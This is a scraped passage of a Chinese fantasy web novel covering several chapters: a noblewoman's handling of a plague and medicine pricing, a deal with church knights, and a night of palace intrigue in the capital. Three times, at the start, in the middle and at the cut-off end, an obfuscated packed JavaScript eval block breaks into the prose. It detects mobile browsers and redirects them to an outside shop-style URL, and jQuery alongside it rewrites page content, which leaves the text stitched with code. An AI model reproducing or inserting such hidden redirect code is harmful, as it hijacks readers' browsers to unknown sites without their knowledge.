;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555526|129069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了塔的腹中。 面对长辈的叮咛,克劳拉心一软,“好吧,我会的。菲米娅也是,注意休息。” 在菲米娅准备离开的瞬间,克劳拉忽然补充道:“要是回来的话,将他们隔离开来。不给他们发食物!” 后面一句话纯粹赌气,菲米娅轻轻笑了,她的小姐还是那个单纯善良的孩子,一直没有改变。 只是总有人看不到克劳拉的付出,她又冷下脸,这些刁民,既然不愿意老实本分待在德林郡,还是赶走的好。德林郡只需要全心全意爱戴克劳拉的领民,别有居心的人最好消失吧。 菲米娅离开,克劳拉沉浸到工作中,除了粮食,还有很多物资分配需要她确认。 草药的库存不够,虽然商队带回来了一些,但也只能救急,还需要安排人种植草药。 织布厂还在运作,改而制作姐妹会需要的各种防护用品。菲米娅安排女工们统一住在厂内不要乱跑,以免感染。那边也需要粮食。 医院骑士团的资料刚刚送到她手中,她得替弗洛伦斯把好关。 克劳拉越想越气,最后无心再看文书,扔下笔站起来活动。 塔从书中抬头,这些杂书都是克劳拉扔给他打发时间的,其实他完全没有看进去。 比起书中的内容,他更关注克劳拉的情绪。 “您在生气?是因为领民不听话吗?”他问。 从得知领民想要离开德林郡起,克劳拉就一直情绪低落。塔觉得她有些过于仁慈了,对于这类人只需要用更强硬的手段处理了就是。 克劳拉烦躁地走动着,将窗户打开,让风涌进书房里,也稍稍吹抚了她躁郁的心情。 “对待领民就像是养孩子。”她说,“你既不希望他们太愚钝无知,但有时又希望他们老实听话。” “太严格,领民会逆反、会厌恶、会咒骂;太溺爱,他们又会变得自大、无知、毫无秩序。” 克劳拉原本觉得领民不理解也没关系,她是为他们好,是想保护他们,只要按照她说的来做就好。她会严于律己,只作出正确的选择,为子民谋求最优解。 事实上,领民不理解她、不配合她,她还是会生气、会自省、会挫败。 脑中天人交战,在不要管他们,爱怎么样怎么样吧和这是她的领民,她应该负责不能让他们轻易送死之间反复拉扯。 塔没有管理这么多人,战士们提出异议是通过比斗,狩猎时战士们也只服从最强的那位。 或许因为维尔图的战士强大的生命力,他们要做的只有保护好命门,只要还有一口气就能活过来。 但他作为少主,对于管理部落也不是一窍不通。部落里成员若是对首领的决策有不懂或是异议,都是向祭司提出。 祭司作为部落的脑,自有判断,她会选择向部落群众解释或是告诫首领。 所以塔认为,克劳拉也需要这样的脑,一位代行者。可能不是一个人而是一群人或是组织。而不是凡事亲力亲为。 克劳拉也不过是普通人,会受伤、会疲惫、会难过的普通人。塔不想让克劳拉因为这些反而弄垮自己,他也有自己的私心。 所幸克劳拉并非独裁者,她认真倾听了塔的想法。 “你说得有道理。”但这次也不全然因为没有沟通,她的士兵已经将疫病的危害说得很清楚,也明说了外地不会比德林郡好多少。 但那些人还是一意孤行,死亡的恐惧侵蚀了他们的理智。 “算了,他们没有亲眼目睹疫病,不会相信的,就像你们最初也不完全信我的话。”克劳拉耸肩,唯一的区别是,女巫和战士们不全然信她,但还是会听从她的安排,而这小部分领民不愿意。 与其因为这一小撮领民生闷气,不如照顾好其他愿意对她付出信任的领民。 “不管怎么说,谢谢你安慰我。”克劳拉恶趣味地捏了捏塔的后颈,“整个上午你一直没有翻面,等晚上我可要问问你这本书写了些什么。” 塔不知道想了些什么,脖颈到耳朵立刻一片通红。他垂首将脸埋在书里,装作看得入神的模样,目光还是止不住偷瞄已经回到办公桌前的克劳拉。 可惜塔脑中的幻想没有实现,刚结束晚餐,简就找上门,她太担心弗洛伦斯和剩下的女孩们,想要立刻回到军营中。 塔正磕磕绊绊叙述白天那本书的内容,克劳拉坐在沙发上一边听,边翻阅手中资料,还能修正塔口中错漏的内容。 简向克劳拉行礼,大半年没见到阁下,阁下的气势更强了。面对女巫时,她会收敛锋芒,表现得很温柔。 表明来意后,克劳拉没怎么挽留,将要给弗洛伦斯的资料,还有玛格丽特的信件转交给简,挥手放塔离开。 不用再背书的塔松了口气,心中又有些怅然,之后他又会有很长一段时间见不到克劳拉,离开的脚步都变得沉重。 克劳拉小声叹息,勾手示意塔俯身,见他磨磨蹭蹭,抬手一按他的后颈,微仰头在他唇角轻贴了一下,柔弱的触感转瞬即逝。 又在塔发烫的耳边轻声道:“王都见。” 一切快得仿佛是塔的错觉,等他反应过来时,克劳拉已经松手看向手中的资料了。 简垂着头,装作什么都没看到的样子。 “愣着做什么?你要让简等到什么时候?”克劳拉推开塔怔愣的脸,塔这才恍恍惚惚地跟随简离开。 合上门前,他终于想起回应克劳拉,“王都见。” 100. 第100章 简带回的新一批药水,里面加入了白珠粉末,治愈概率大幅度提升。 服用过的患者出现了明显的好转,但这次的药方不能随意被分享,克劳拉并不希望白珠的作用广为流传。 这份药方只掌握在几位大巫手里,制作流程也是分批次的,没有人知道具体成分。 “大巫特别说明,这种药水只能救急,实在到了高烧惊厥,吐血不止的程度才可服用。” 弗洛伦斯向她询问药方,简回答不出,巫师塔只会定时向她们提供足够的药水。 “阁下特别嘱咐了,医院骑士团可以花钱购买,30铜币一支。至于其他贵族就要花费10金每支,军营这边暂时不收取费用。” “多少?”弗洛伦斯傻眼了,是30铜不是30银? 最初的药方,光是草药成本算下来都有50铜了,还不考虑人工。 但是对贵族收这么多,克劳拉不担心贵族群起攻之,或者他们从医院骑士团手中拿吗? 简也不清楚这些,她将信件都交给弗洛伦斯,反正是阁下的谋划。她离开一天多,得赶紧去顶替塞拉替姐妹会施咒了,不然塞拉会恨死她的。 克劳拉当然不担心,普通的药水只是治病,针对贵族的可是加了些好东西,多喝几口某种程度上来说可以延年益寿。 反正交给萨曼去兜售,她可不会傻到用自己的钱拯救整个帝国的人,就让这些贵族帮忙出些钱吧。 现在唯一该担心的是治病药方里的白珠。 因为白珠数量稀少,即使维尔图战士收集了百年,完好无损的也不过百来颗。 连克劳拉后得的那一枚也被送去制药,安娜立刻忧心忡忡地表示自己一定会好好保护克劳拉。 她的好意克劳拉心领了。 比起黑巫师的诅咒,克劳拉更担心另一件事。她专程向祭司确认,战士们基本不清楚白珠具体的来源。 但看祭司的神情,至少她是清楚这种神奇珠子的由来。 “人的欲望不可低估,隐瞒才是正确的做法。”祭司的年龄已经很大了,她经历了三代维尔图首领,最终等来了克劳拉。 她深邃且睿智的目光,静静地凝视着克劳拉,“我知道您在做什么,也不要怀疑自己,一直走下去。” 克劳拉心中一突,她对外都是宣称要将巨魔赶尽杀绝,但是祭司却发现了她的小动作。 “北境之海有座小岛,我年轻时不幸因海难落到岛上,也幸好我到过那片森林——有些地方一生去过一次足以。”祭司微微笑着,面带怀念,像是普通地谈起自己经历。 克劳拉安静地听完,暗自记住了方向。祭司还有研究要完成,克劳拉不便再打扰,很快她轻轻道谢,碰着众多白珠离去。 “你把持着药方,恐怕会遭人诟病。”达索琳接过她手中汇集的白珠。她能理解克劳拉的做法,但是外人可无法理解。 外人只会认为克劳拉赚取乱世之财,不愿意无偿分享救命之法。 克劳拉偏头,“您不是理解我吗?巫师塔上下都会理解我,我的家人朋友也会。除此之外,我不需要太在意。” “我救他们,只是因为我想而已,至于陌生人的感谢也好爱恨也好,我想我没那么在意。” 若不是菲米娅几天前才和她抱怨过,愚民惹怒了克劳拉,要给那些愚民一些教训,达索琳就要相信克劳拉是真的不在乎了。 年轻人总是心口不一的,达索琳见怪不怪。反正巫师塔会是克劳拉的后盾,强权之下,爱恨确实无所谓。 等到手里头的疫病研究结束,巫师塔也是时候公开崭露头角,向教会宣战了。 先替克劳拉扫清前路的一大障碍,没了教会的舆论,她会走得更顺心些。 国王的军队已经收束,回到诺兰郡军营。 但又没有完全进入军营,选择在几里之外的地区扎营。 莫兰特送伤兵来医院,顺路看望“重伤”的塔。 在自己人面前,莫兰特放松很多,不正经地反坐在靠背椅上,嘴里不满地抱怨着国王骑士对他们的针对。 “阁下不是说陛下身边那几个老将都是德林郡出身的吗,一个个怎么也看不上我们的样子。” 弗洛伦斯进来过一次,莫兰特见是她,又放下心来继续嘴碎。 塔对他的废话已经能做到心如止水地无视,倒是弗洛伦斯忍无可忍让他闭上嘴。 莫兰特举起双手讨饶,显然战锤女□□头连前线士兵都闻风丧胆。 “病人要静养,莫兰特先生,你该离开了。” 这家伙一点伤都没受,哪里需要静养了,但莫兰特不敢反驳弗洛伦斯,老老实实起身准备离开。 就趁着这会,塔飞快道:“希姆让你留守诺兰郡,最好能留守古斯塔刚打下的几座要塞之一。不出三个月,伊登会带兵和你汇合。” 莫兰特:? 心里憋了一堆话想要倾诉、想要询问,但停在门口的弗洛伦斯目光凌厉。 “好吧,既然是阁下的命令。”莫兰特憋屈地走出病房,离开这里后他又要谨言慎行,诸多烦恼无处宣泄。他已经在怀念德林郡的日子了。 一周后,古斯塔准备启程回王都,还将弗洛伦斯及姐妹会成员扣下,一同带回王都。 “阁下的意思是,让您顺着古斯塔陛下的意思前往王都,她怀疑陛下很可能会感染疫病。您需要让他暂时活着。”简传达着克劳拉的意思。 “同时艾洛薇小姐以及女巫合作者阿方索大主教都失去了联系,阁下希望您能确认一下他们的情况。” 尤其是阿方索身边还有两位女巫,连她们都联系不上了,阿卡娜大巫只能确认她们还活着。 阿卡娜大巫窥见王都笼罩着不祥的气息,恐怕有众多黑巫师盘踞于此。 见弗洛伦斯满脸忧虑,简安慰道:“不用担心,会有一名大巫追上我们的步伐。” 弗洛伦斯摇摇头,她担心的并不是自身的安危,而是在风雨中摇摇欲坠的帝国。 医院骑士团最近新送来的那封信中提到,整个奥菲已经沦为人间炼狱,他们已经救助不过来。索滋帝国隐隐在步入奥菲的后尘,周边的国家也迟早会如此。 而教会所属的医者协会,更是无能为力,他们着重解析过女巫们的初版药方,却迟迟推不出更进一步的药方。 最终只能延续使用老方法,对患者放血治疗,或是试图切除脓包或使用水蛭试图吸干患脓包——而这些都加速了患者的死亡。 在最后维达再次向她和所有姐妹会成员表达了感谢,他即将要去拜访克劳拉,和她的巫师塔。只有她们是拯救大陆的希望。 弗洛伦斯熄灯休息前,突发奇想问道:“你觉得终有一天医学会发展到,任何人都不会被病痛折磨,医者能够治愈所有的疾病吗?” 简开了个小小的玩笑,“那样的话,你们医护可不都失业了?” 弗洛伦斯笑了,这是她这么久以来第一个笑容,“没关系,总会有其他工作的,但是因为疾病失去的生命不会有第二次。” 疲惫一天的伊登终于可以用晚餐,虽然时钟才堪堪7点,天空依旧亮如白昼,他还是让士兵就地生火,开始热罐头。这种罐头是位于西亚尔玛的食品加工厂制作的。 最初是克劳拉想要一种能长时间保存食物的方法,最好让士兵打开加热就能吃上。 巫师塔很快集思广益发明了这种罐头,起初有些笨重,还做不到随身携带,经过几年的发展,已经轻便很多了。 唯一不足的是制作方法有些复杂,所以存货一直不多。分量也有些少,成年人至少要用上两个。 于是又有了另外的速食,只需要油纸包装的面包干,但说实话味道实在不太好,只能起到一个饱腹作用,还得就着水或者汤。 推进森林并非一同进行,而是兵分三路。应赫利斯的要求,他们已经在竭力避免大规模破坏了,只开出一条笔直的道路。 被砍掉的巨木也会成为下一座巫师塔的建材,不会浪费。 三方任意一方发现巨魔的巢穴都会发射信号弹通知另外两方。目前已经是推进的第三天,没有任何消息。 “伯爵阁下,克劳拉阁下的来信。”罐头里的肉还没有沸腾,伊登先收到了克劳拉的信。 迫不及待拆开后,脸上的笑容一凝。 伊登沉默地将信收好,面上看不出太大的变化。 篝火旁有几个年轻小伙相谈甚欢,这些士兵回到德林郡都没有待上太久,只和家人们见了一面又迅速回到德林北。 他们都不清楚疫病的席卷,还在讨论着心仪的姑娘。 “你有妹妹吗?”伊登忽然问年轻的下属。 下属一愣,似乎没想到伯爵会和他讨论这种话题,他有些拘谨道:“我是大哥,家里还有三个妹妹,两个弟弟。” 虽然伊登知道平民向来爱生孩子,但这么多孩子,还是让他有些惊讶。 “你们母亲难道就是一直生孩子带孩子?” 下属莫名地看他一眼,好像在说不然呢,“还有操持家务活,什么都做一点,家里就靠我和父亲赚钱。” 伊登觉得有些奇怪,“我记得你曾说过家里养的鸡鸭很多,妹妹会经常出去卖蛋类。既然这些鸡鸭是母亲在打理,蛋是妹妹在卖,难道不算是母亲和妹妹赚的钱吗?” 下属一时语塞,似乎从未考虑过这种问题,他神色纠结,最后迟疑道:“应该不算吧,我们也有帮忙喂食……” “难怪大家都想进贵族府上当女仆。”伊登的晚餐终于好了,他快速端走,放在一旁凉着,“在府上女仆们做的也是那些活,至少是有工钱的。” 下属沉默了,也不知道在想些什么,连他的罐头烧开了都没注意,还要伊登提醒。 这时候伊登有些明白克劳拉非要让领地里的女人出去做活的原因了,在家里也是做在外面也是做,至少在外面女人们还能得到克劳拉给的工钱。 他可想象不到若拉成为母亲后,要做一堆事还没有工钱。就连以前在伯爵府,为了让若拉替他处理文书,他都会舍弃每个月一半的零花钱补偿给若拉。 反而现在,是伊登在替克劳拉打白工,每个月的零花钱都填补进军队里了。 伊登叹口气,克劳拉催促他加快进度,争取在三个月内搞定,之后马不停蹄去接手诺兰郡。 有什么办法呢,他是哥哥,打白工就打白工吧,反正最终受益者都是他的家人。 “阁下!前方3英里处发现了巨魔的踪迹!”斥候快马加鞭回来禀告。 伊登嘟囔着,“这帮家伙可真是,能不能让人先好好吃饭。” 手中的动作却稍稍加快,并提前准备发射信号弹,但没等他做好准备,东北边的空中滑过一道令人瞩目的信号弹。 看来今晚注定是不眠之夜。 不出克劳拉预料,没过多久医院骑士团就来到德林郡求见她。 对于这群人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579412|129069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,克劳拉谈不上恶感,但因为他们隶属教会,她也没多少好感。 就当是普通的买家,从她手中购入药剂的买家。 不过见到团长维达本人后,克劳倒有几分改观,至少眼前的男子将自己打理得足够干净,气质平和,礼仪也无可挑剔。 女仆端来茶点,不过会议室几人都无心食用。 “坐吧。”克劳拉坐在主座,身体微微陷在柔软的软皮里,她双腿交叠,双手随意搭在扶手上。 几位被铠甲覆盖面容的重装骑士,间隔着伫立在会客室的各个方位,给人以无形的压迫感。 对比之下,维达和他的副手显得有些拘谨。副手的双手紧张地交叠着,早听说这位德文希家的准王妃脾气并不好,尤其不喜欢教会人士。 这次他们来并不想和她们起冲突,只是为了药水。但克劳拉实质性的压迫目光落到他身上,副手心中还是忍不住打鼓。 克劳拉直入正题,“我知道你们为药水而来,我可以低价大量售卖给你们,但有几个条件,当然你们可以考虑要不要同意。” 虽然说着可以考虑,但她的语气不容置喙。 介于克劳拉和教会关系并不好,维达都做好了她满天要价的准备,他们骑士团资产虽然比不过另外两个骑士团,但也比得上一个国家国库,还有资本让他们耗。 “您请说。”维达语气沉重。 克劳拉分神了一瞬,难怪会客室沙发都爱这么摆,象征主座的单人沙发,斜对面是长沙发。 坐在主座上,就是能够以一种居高临下的姿态,凝视长沙发坐着的诸位。 而坐在长沙发上,出于礼仪也不能完全靠上靠背,只能身体微微前倾,自然而然地低上了一等。 前20年坐在那个位置的一直是她,而现在她坐在主座,姿态随意。 霍恩·温斯顿几乎没有付出太多东西就能以这样姿态对她对任何人,而她却废了这么多年才坐到这个位置。 她的分神,让气氛变得凝固,副手不由得端起茶水喝了一口,放下时不小心稍微重了些。 立刻将克劳拉的目光吸引回来,若是在以前她还得出于礼仪解释自己走神,但今天她面无表情道: “第一,我出售给你们的价格是30铜币,你们想要往外售卖也不能超过50铜,一旦被我发现价格过高,我会即刻取消对你们的供应。” “第二,药剂只能用于染病的平民,不可卖给贵族。当然贵族有另一种药剂,10金卖给你们,你们爱卖多少是多少。我会对外宣称这种低价药水的只适用于低贱的平民。” 就像布施时往粥里掺沙子,或是灾期只将粮食发放给妇女小孩,贬低药水会让没那么迫切的人放弃购买。加大了真正需要药水的人的存活率。 维达和副手微愣,这前两条和他们想象中的完全不同,没有坐地起价,也没有为难他们,甚至可以说是非常轻松的条款了。 “第三——”克劳拉微微拖长声调,两位的心又高高悬起。 “第三件事,我要让姐妹会的成员获得和医者协会同样被认可的地位。说到底姐妹会的成员,可比你们那些废物医者有用多了。” 克劳拉没忍住嘲讽了下这些医院骑士,据她了解,医院骑士团的构成很大部分就是医者。 维达有些惭愧,因为他确实对疫病无能为力,而女巫却研制出了药方。但第三点条件他无法保证自己能够做到。 “我很难改变教会的决策……”克劳拉脸色转阴,他连忙补充,“但我会竭力做到!教会单纯以性别就否认这些有资历的医者确实不应当。” 但克劳拉仍然把“你们挺没用的”明晃晃摆在脸上,副手羞愧得抬不起头,维达则保持镇静询问是否还有其他条件。 确实还有一件事,不过教会认可对她来说意义不大,即使教会不同意她也会这么做。只是如果能得到一直看不起她们的人的认可,哪怕是被迫的,那些女孩们会更高兴些。 “第四个要求,等到时候你们自然就知道了,时候到了我会邀请你们见证。” 克劳拉暂时没有透露更多的信息,其他也没太多需求,还有希望他们遇到姐妹会能多提供些帮助。 “感谢您和巫师们的大义,我们会告知每一个被救助的人药剂的来源。” 维达为最初恶意揣测克劳拉而心生愧疚,教会确实有意污名化女巫和克劳拉。而他在明知教会内部问题百出的情况下,还是偏听偏信,误信了传言。 他再次向克劳拉行礼,“感谢您不计前嫌,愿意与我们交谈。” 克劳拉坦然地受下了这一礼,抬手示意骑士将会客厅大门打开,扬声道:“安娜,带几位客人前往巫师塔。” 安娜明明早已有资格站在她身边,旁听她处理这些事情,却执意要避嫌等在门外,听到她的呼声才进来邀请两位离开。 克劳拉理解她的心态,无非是担心外人误会她被女巫操控思想,想让克劳拉独立处理这些事务。 就算误会了也无妨,平民不会在意统治者怎么样,更多的在意谁让他们吃饱饭。而贵族,也不需要向他们解释太多,相反,对女巫保持一定的恐惧更好。 所以她叫住了安娜,“安娜,将他们送到巫师塔就回来,不要耽误太久,我这边还有事情需要你。” 两位客人的注意力果然立刻聚焦于安娜身上,被注视着的年轻女巫微微欠身,笑意盈盈, “好的,小姐。我很快会回来。” 101. 第101章 王都最近气氛相当微妙,明面上贵族一如往常举办、参加各式宴会,醉生梦死;在不为人知的角落,却暗潮涌动。 艾洛薇左思右想还是觉得不对劲,她已经近三个月没有收到克劳拉的来信了,此前从不会有这种事情发生。 送出去的信使也没有一个返回,连应当送到她手里的其他郡的情报也没有按时送达。 温斯顿家族最近动作奇怪,据说在某场宴会上,霍恩·温斯顿接到手信忽然神色难看地离去。 连夜进宫与安德鲁密谋,随即回府闭门不出。 之后王都严进宽出,任何进入王都的人和队伍都要经过严格审查。 这绝不会是她的信使失踪的原因,安德鲁的骑士里也有她的眼线,城门见到信使会立即上报给她。 安德鲁也有了自己的小心思,不愿意见她,更不愿意将情报透露给她。 所以,绝对是有其他的情况,让整个王都都被孤立了。 艾洛薇并不喜欢这种超脱掌控的感觉,平日里白天她依旧会受邀前往更大宴会,等到晚上又会梳理眼线送来的王都情报脉络。 城外村庄有人患上某种不明疾病,教会成员每日都会进出城门。 虽然这种疾病和克劳拉曾告知给她的症状类似。但艾洛薇了解教会,那群人不会莫名冒险,肯定有特殊的原因,才让他们打着这个旗号出城。 她已经打算亲身去一趟城外,不搞明白教会那群人在做什么,她无法安心。 但她没来得及付诸行动,隐藏在狮鹫骑士团的探子连夜来找她求助——霍恩·温斯顿暗中离开了王都,而教会打着为殿下解咒的名头,半强迫式进入了王宫。 “殿下起初还和他们周旋试图拒绝,后来突然变得十分痛苦,诅咒莫名发作,肯定是教会动了什么手脚——” “所以你们骑士长什么都没有做?”艾洛薇仅心乱了一瞬,立刻理智地对策。 “没有殿下的命令……骑士长也不知道该怎么办……公爵阁下也不在……”狮鹫骑士声音越来越低,但他好歹记得来找艾洛薇。 艾洛薇冷笑,“你们可真是废物啊——让骑兵队长立刻召集国王直属军,包围王宫,教会意在趁陛下离都刺杀王储!” “莱文·温斯顿那个贱种关在哪里?立刻派人去严格看守!宁可将他杀了,也不能让任何人将他救走!” 她披上斗篷,吩咐执事去将她的马匹牵来,准备冒着大雨冲进王宫。 女仆长担忧地劝阻她,但她面不改色,手中穿戴的动作没有停下。 转头见狮鹫骑士还立在她家,呵斥道:“还不快滚!让那群蠢货在王宫门口等着我。” “王宫门口……有一批圣殿骑士……” “怎么?他们比你们多个胳膊还是多条腿?这里到底是谁的地盘?动用武力赶走啊!” 年轻的骑士跌跌撞撞地跑走,立刻去传达艾洛薇的意思。 “古斯塔到底怎么给安德鲁选的骑士,是故意的吧。”艾洛薇这会倒是有些想念亚克了,至少那家伙比起来没那么蠢。 果然没有对比就没有伤害。 马匹准备就绪,执事在庭院等她。 此时一阵玻璃破碎声,伴随着女仆的尖叫,在府邸里显得格外突兀。 “小姐——有什么东西冲进了您的房间——” 大厅里众人皆是一副严阵以待的模样,艾洛薇心念一动,让执事稍等片刻。 嘴上说着“只是鸟而已,不用大惊小怪”,动作迅速来到自己房间。 她敞开门,让管家和女仆们看清楚,确实仅是只误入的乌鸦,它浑身湿透,虚弱地趴在地板上。被撞碎的窗边,因为大雨,隐隐堆聚一层积水。 女仆们想要替她收拾房间,艾洛薇却忽然想起了什么一般,“我有东西要拿,等我出来你们再进去收拾!” 她动作如一阵风,快速进入房间合上大门。 径直走向房间的书柜,“长话短说,我还有要事,急着出门。” 两名女巫从黑暗中走出,一位受了伤,由另一位女巫搀扶着。 受伤的巫师言简意赅道:“黑巫师偷袭,我们走投无路才闯入这里。抱歉,我们会立刻离开。” 女巫们并不认识艾洛薇,仅仅是因为说话的女巫感知远比其他巫更敏锐,隐隐察觉到此处有特殊的气息,决定赌一把。 黑巫师能够通过气息追到她们,既然眼前只是一位非巫师女性,她们应该尽快离开,以免牵连无辜。 艾洛薇没有过多询问女巫为何出现在王都,又为何被黑巫师追杀,她打开书房里的暗格,目光扫过众多药水。 挑选了两瓶扔给受伤女巫,随后又按下另一道机关,书柜后缓缓出现一道通往黑暗的楼梯。 “算你们命不该绝,遇到我。拿上影匿药水迅速离开。” 女巫知道这会不是多言的时候,使用药水后没有犹豫进入暗道之中,仅在经过艾洛薇时道了一声谢。 书柜刚刚合上,公爵府外就传来一阵喧哗,应该是追兵来了。 今晚上可真是不太平,放女仆们进门打扫房间。艾洛薇快步下楼应付新来的麻烦。 “有魔女从教会逃离,请配合我们搜查。”闪电照亮了夜空,也照亮了说话骑士的铠甲,两头狮鹫一左一右如镜像般印在胸口。 “国王骑士业务这么广泛?还需要帮教会抓捕魔女?”艾洛薇的到来,让拦住国王骑士的管家松了一口气。 偌大的雨打在伞上,即使有遮挡,艾洛薇的裙摆也很快被淋湿。 但她仿若一无所感,微笑着注视着想要强闯公爵府的骑士们。 借着闪电,她看清只有两位是国王骑士,剩下都是些陌生的面容,铠甲没有印记,极有可能隶属圣城。 “守护王都是我们的责任,希望费南迪小姐理解。”国王骑士语气相当强硬,让艾洛薇心中闪过狐疑。 国王骑士两次帮助教会,似乎有恃无恐,并不担心古斯塔回王都后问责,不太妙。 公爵府的侍卫握紧武器,只要艾洛薇没有同意骑士进入,他们就会将剑锋指向这群不速之客。 “之前从不知道你们这么敬业。”艾洛薇冷笑,微微侧身,“请吧,不过我还有急事准备出门,你们还请自便。” 她不想在这与这群骑士过多的纠缠,还要赶往王宫,国王骑士恐怕叛变了,不知道狮鹫骑士和国王直属军又有多少叛徒。 反正这群家伙也搜不出什么。 “冒昧问一句,您这么晚要去哪?”国王骑士多嘴问道。 艾洛薇已经骑上了马匹,居高临下俯视这群骑士,“我要去救一个蠢货。” 说罢她一扬鞭,骏马奔驰,扬起的水汽让这群骑士有小半会都无法开口。 水雾之中,黑色的身影如附骨之疽般出现在领头国王骑士身侧,朝他摇头。 国王骑士立刻放弃搜查公爵府,上马,兵分两路,他调转马头朝着艾洛薇离去的方向追去。而另一部分队伍则继续追猎女巫。 但在半路,他们遭遇了一只拦路虎。 “哎呀,这大半夜的在王都横冲直撞,撞到路人了可怎么办?”马匹横着拦住他们的去路,而马匹上坐着的那人随意晃荡着肩上的长枪。 在闪电中,国王骑士看清了来人的面容,他咬牙切齿:“是你!米凯!你在这做什么!” 米凯没有戴头盔,出来得太急,偶尔忘记一些装备很正常。他随意一抹淋湿的面容,“受人之托,处理点小麻烦——不用担心,我的兄长肯定会好好感谢我替他清理叛徒。” “如果他还有命回到王都的话。”如同玩笑般,米凯补充一句。 冰冷的长枪指向国王骑士的面容,“希望这么多年,你们有所长进。” 幸好她提前命人去将米凯叫出来,希望这老东西腿脚没有生锈,能够替她阻挡片刻国王骑士的脚步。 还得是她,不然光靠那群废物,安德鲁都不知道死了多少次了。 所幸狮鹫骑士那群脑子没多少东西的蠢货,没有那么多歪心思,老老实实按照她之前吩咐的那样,将国王直属军聚集,包围了王都。 留守的直属军头领是以前巴特·德文希的下属,不至于背叛古斯塔倒向教会。 艾洛薇抵达王宫时,宫外的兵戈没有进行太久,已经结束,也或许是圣殿骑士起初也不想和他们起冲突。 今天闹这么大,王都那群贵族恐怕都会得到消息,温斯顿又在这个紧要关头离开,安德鲁要是也出事,那群没有人压制的贵族,也不知道会做出什么来。 想到之后的众多麻烦,还有生死不明的古斯塔一世,艾洛薇又头疼了,幸好米凯在王都。 是时候让克劳拉回来了。 狮鹫骑士们恭敬地将艾洛薇迎进王宫中,惹得直属军头领多看了一眼这位被斗篷面容的女人。 “安德鲁的情人?”他问。 “不清楚,反正不是克劳拉·德文希。”被他问到的骑士回答。 头领顿时目光一厉,“准王子妃殿下是你能直呼其名的?你是什么人?我怎么没见过你!来人给他拿下!” 艾洛薇回望了骚乱发生的方向,很快又不感兴趣地移开目光,直奔安德鲁寝宫。 却扑了一个空,安德鲁寝宫空无一人。 “怎么回事?”怒气直冲艾洛薇大脑,在王宫之中,狮鹫骑士都能弄丢王子。 她恨不得砍了这群干吃饭的家伙。 骑士长同样惊慌,他亲眼看到几位主教扶着殿下进入房内,怎么会消失? 艾洛薇脑中闪过多种念头,教会确实有可能直接将安德鲁传送走,但是这么做的动机又是什么? 一旦安德鲁失踪,他们要拿什么压住王都这些骑士们。 安德鲁定然还在王宫之中。 “去王宫中搜,搜不到就去砸了教堂。”艾洛薇竭力保持冷静,但语气已经降到冰点。 她从不后悔对安德鲁下咒,但如果这道诅咒成为了安德鲁的催命符,她也无法原谅自己。 “是谁!” 闪电再次闪烁,也照出走廊尽头一道身影,狮鹫骑士警觉地竖起武器。 随着身影逐渐走近,艾洛薇眯起眼,她认出了来人——艾林·瓦兰许,他在这里做什么? “可真狼狈啊,艾洛薇小姐。” 艾洛薇如今全身湿透,往日总是一丝不苟的盘发,如今有些凌乱。发丝潮湿地贴在她的脸颊,却不减她的气势。 “不装你的乖乖淑女了吗?不得不说你装柔弱的模样,令人作呕。”艾林笑着吐出刻薄的话语,丝毫不顾及周边指向他的武器。 艾洛薇没有被他的话激怒,她冷漠道:“你在这里做什么?你也成为教会的走狗?来示威的?” 艾林觉得有些无趣,他耸肩,“看你的样子是在找安德鲁殿下,恰巧我知道殿下的下落。” “代价?”艾洛薇语气更冷了,看来是来威胁她的了。 “你跪下来求我?”艾林像是想到了有趣的画面,突然笑得颤抖得停不下来。 如果目光有实质,他现在恐怕被这些骑士和艾洛薇愤怒的目光戳成筛子了。 “开个玩笑。”显然这个笑话没有逗到除他以外所有人,“走吧,带你去。” 艾洛薇迟疑了一瞬,主要是不信任艾林这个疯子,其次也担心有陷阱。 “担心有陷阱?看来殿下对你来说也不过如此。”艾林模样实在欠揍。 艾洛薇不顾狮鹫骑士的阻拦,抬脚沉默地跟上他。 狮鹫骑士们互相对望,随后选择不远不近地跟在两位身后,时刻准备上前保护艾洛薇。 艾林这会倒是收敛了笑容,走在前面带路。艾洛薇逐渐认出这条路是前往玛丽废宫的方向。 “我名义上的好父亲叛变了,那些人许诺他可以获得某种力量。”艾林忽然飞快地开口,“当然他们也许诺给了我,但说实话,我更喜欢一些看得见的权利。” 艾林可比他的父亲瓦兰许侯爵想得要更多,所谓的力量如果真那么好,教会为什么不垄断,而是分发出去。 况且他们对待安德鲁就像是实验品般,那股力量恐怕并不稳定,成功获得的概率未知,还有可能反噬。 所以他们需要更多的实验品,而他和侯爵极有可能是下一批实验品。 “我听到他们提起玛丽,还有克劳拉·德文希。总之我知道的都告诉你了,你小心,那股力量确实异于常人。” 艾洛薇当然不可能一点准备都没有,从知道是教会搞得鬼后,她就做足了准备,可惜的是玛丽送给她的东西越用越少。 “谢谢,我今天就不骂你了。”艾洛薇语气仿若施舍,她可不会因为艾林帮了忙就对他感恩戴德,不过是各取所需。 艾林嗤笑一声,“你最好活着出来再说这种话。” 他没有再前进,选择明哲保身,很快消失在黑暗之中。 “逃跑倒是快。”艾洛薇抬手让骑士们停下前进的步伐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 